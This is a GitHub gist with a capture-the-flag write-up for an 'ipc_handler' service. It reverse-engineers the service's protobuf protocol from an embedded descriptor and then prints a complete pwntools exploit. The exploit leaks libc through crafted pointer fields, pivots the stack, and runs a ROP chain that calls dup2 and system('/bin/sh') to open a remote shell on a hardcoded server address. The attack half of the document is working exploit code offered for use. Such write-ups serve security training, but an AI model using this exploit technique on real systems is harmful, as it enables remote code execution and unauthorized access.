Skip to content

Instantly share code, notes, and snippets.

@sqrtrev
Created March 29, 2022 03:16
Show Gist options
  • Save sqrtrev/5016a632df00b13add4f4d4c0e2c2ce9 to your computer and use it in GitHub Desktop.
Save sqrtrev/5016a632df00b13add4f4d4c0e2c2ce9 to your computer and use it in GitHub Desktop.

(Written by okas832 and Reinose. I just uploaded this)

Step 1. Communicate with server

Need to serialize message with protobuf to send data. But protocol.proto file not given. Serialized descriptor_pb2.FileDescriptorProto is at 0x416700:0x4168B0. Recovered protocol.proto with blackbox analysis because couldn't find related documents.

0A 0E 70 72 6F 74 6F 63 6F 6C 2E 70 72 6F 74 6F                                           filename : "protocol.proto"
12 08 70 72 6F 74 6F 63 6F 6C                                                             package "protocol"
22 50                                                                                     message
	0A 09 64 69 63 74 5F 64 61 74 61                                                        "dict_data"
	12 0B                                                                                   field
	   0A 03 6B 65 79                                                                         "key"
	   18 01 20 02 28 09                                                                      field number : 1, type : string
	12 27                                                                                   field
	   0A 0A 76 61 6C 75 65 5F 74 79 70 65                                                    "value_type"
	   18 02 20 02 28 0E                                                                      field number : 2, type : protocol.valueType
	   32 13 2E 70 72 6F 74 6F 63 6F 6C 2E 76 61 6C 75 65 54 79 70 65
	12 0D                                                                                   field
	   0A 05 76 61 6C 75 65                                                                   "value"
	   18 03 20 02 28 0C                                                                      field number : 3, type : bytes
22 45                                                                                     message
   0A 10 78 70 63 5F 64 69 63 74 69 6F 6E 61 72 79 5F 74                                    "xpc_dictionary_t"
   12 0E                                                                                    field
      0A 06 68 65 61 64 65 72                                                                 "header"
	  18 01 20 02 28 0C                                                                       field number : 1, type : bytes
   12 21                                                                                    field
      0A 04 64 61 74 61                                                                       "data"
	  18 02 20 03 28 0B                                                                       field number : 2, type : protocol.dict_data
	  32 13 2E 70 72 6F 74 6F 63 6F 6C 2E 64 69 63 74 5F 64 61 74 61
22 1C                                                                                     message
   0A 0B 78 70 63 5F 69 6E 74 36 34 5F 74                                                   "xpc_int64_t"
   12 0D                                                                                    field
      0A 05 76 61 6C 75 65                                                                    "value"
	  18 01 20 02 28 04                                                                       field number : 1, type : uint64
22 1D                                                                                     message
   0A 0C 78 70 63 5F 75 69 6E 74 36 34 5F 74                                                "xpc_uint64_t"
   12 0D                                                                                    field
      0A 05 76 61 6C 75 65                                                                    "value"
	  18 01 20 02 28 04                                                                       field number : 1, type : uint64
22 1D                                                                                     message
   0A 0C 78 70 63 5F 73 74 72 69 6E 67 5F 74                                                "xpc_string_t"
   12 0D                                                                                    field
      0A 05 76 61 6C 75 65                                                                    "value"
	  18 01 20 02 28 09                                                                       field number : 1, type : string
22 1B                                                                                     message
   0A 0A 78 70 63 5F 64 61 74 61 5F 74                                                      "xpc_data_t"
   12 0D                                                                                    field
      0A 05 76 61 6C 75 65                                                                    "value"
	  18 01 20 02 28 0C                                                                       field number : 1, type : bytes
22 40                                                                                     message
   0A 03 58 50 43                                                                           "XPC"
   12 0F                                                                                    field
      0A 07 63 6F 6E 6E 5F 69 64                                                              "conn_id"
	  18 01 20 02 28 03                                                                       field number : 1, type : int64
   12 28                                                                                    field
      0A 04 64 69 63 74                                                                       "dict"
	  18 02 20 03 28 0B                                                                       field number : 2, type : protocol.xpc_dictionary_t
	  32 1A 2E 70 72 6F 74 6F 63 6F 6C 2E 78 70 63 5F 64 69 63 74 69 6F 6E 61 72 79 5F 74
2A 40                                                                                     enum
   0A 09 76 61 6C 75 65 54 79 70 65                                                         "valueType"
   12 0B                                                                                    field
      0A 05 49 4E 54 36 34                                                                    "INT64"
	  10 80 A0 02                                                                             0x9000
   12 0C                                                                                    field
      0A 06 55 49 4E 54 36 34                                                                 "UINT64"
	  10 80 C0 02                                                                             0xa000
   12 0C                                                                                    field
      0A 06 53 54 52 49 4E 47                                                                 "STRING"
	  10 80 80 01                                                                             0x4000
   12 0A                                                                                    field
      0A 04 44 41 54 41                                                                       "DATA"
	  10 80 A0 01                                                                             0x5000

Recovered protocol.proto.

syntax = "proto2";

package protocol;

message dict_data {
  required string key = 1;
  required protocol.valueType value_type = 2;
  required bytes value = 3;
}

message xpc_dictionary_t {
  required bytes header = 1;
  repeated protocol.dict_data data = 2;
}

message xpc_int64_t {
  required uint64 value = 1;
}

message xpc_uint64_t {
  required uint64 value = 1;
}

message xpc_string_t {
  required string value = 1;
}

message xpc_data_t {
  required bytes value = 1;
}

message XPC {
  required int64 conn_id = 1;
  required protocol.xpc_dictionary_t dict = 2;
}

enum valueType {
  INT64 = 0x9000;
  UINT64 = 0xa000;
  STRING = 0x4000;
  DATA = 0x5000;
}

You can find that data in xpc_dictionary_t need to be specify to repeated by analyzing the binary.

Step 2. Exploitation

We compiled proto file into python script. To leak the addresses, scalar1 and scalar2 should be pointers which contains valid function pointers. (Especially, a initialization function of std::string.) Using process_name, we can leak arbitrary address from the given binary. Hence, we first get libc address by leaking rand function address and then pviot stack into the buffer which contains the content of process_name.

#!/usr/bin/env python3

from pwn import *
import protocol_pb2

xpc = protocol_pb2.XPC()
xpc.conn_id = 0x1
xpc.dict.header = b"XPC!"

data1 = xpc.dict.data.add()
data1.key = "process_name"
data1.value_type = protocol_pb2.valueType.INT64
data1.value = p64(0x41F0D0 - 0x18) # rand

addr1 = 0x405D00

data2 = xpc.dict.data.add()
data2.key = "scalar1"
data2.value_type = protocol_pb2.valueType.DATA
data2.value = p64(addr1)

addr2 = 0x405D20

data3 = xpc.dict.data.add()
data3.key = "scalar2"
data3.value_type = protocol_pb2.valueType.DATA
data3.value = p64(addr2)

v = xpc.SerializeToString()

context.log_level = "DEBUG"
p = remote("34.146.163.198", 10003)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
e = ELF("./ipc_handler")

p.send(v)

leak = p.recv(0x400).split(b"(")[1]
libc_leak = u64(leak.split(b") ")[0].ljust(8, b"\x00"))
libc.address = libc_leak - 0x47d40

p.close()

prdi = 0x0000000000415983
prsip = 0x0000000000415981

payload = p64(prdi) + p64(4) + p64(prsip) + p64(0)*2 + p64(libc.sym['dup2'])
payload += p64(prdi) + p64(4) + p64(prsip) + p64(1)*2 + p64(libc.sym['dup2'])
payload += p64(prdi) + p64(next(libc.search(b'/bin/sh'))) + p64(libc.sym['system'])

data1.value_type = protocol_pb2.valueType.DATA
data1.value = payload

addr1 = 0x0000000000406b1d
data2.value = p64(addr1)

v = xpc.SerializeToString()

p = remote("34.146.163.198", 10003)
p.send(v)

p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment